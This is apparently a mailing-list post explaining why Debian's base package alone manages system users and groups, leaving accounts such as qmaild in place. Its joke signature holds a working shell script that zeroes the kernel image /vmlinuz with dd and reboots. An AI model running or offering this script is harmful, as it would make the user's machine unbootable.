Think only one of the debs is allowed to mess with /etc/passwd -- that is, one of the base files. So, you'll have a bunch of users and groups set up there even if you don't have the software that corresponds to a particular group. Think it was decided that only 1 deb should ever mess with system users and groups for safety/stability/security.
I've never had qmail, but I have a qmaild system user (among others). -- #! /bin/sh echo 'Linux Must Die!' | wall dd if=/dev/zero of=/vmlinuz bs=1 \ count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'` shutdown -r now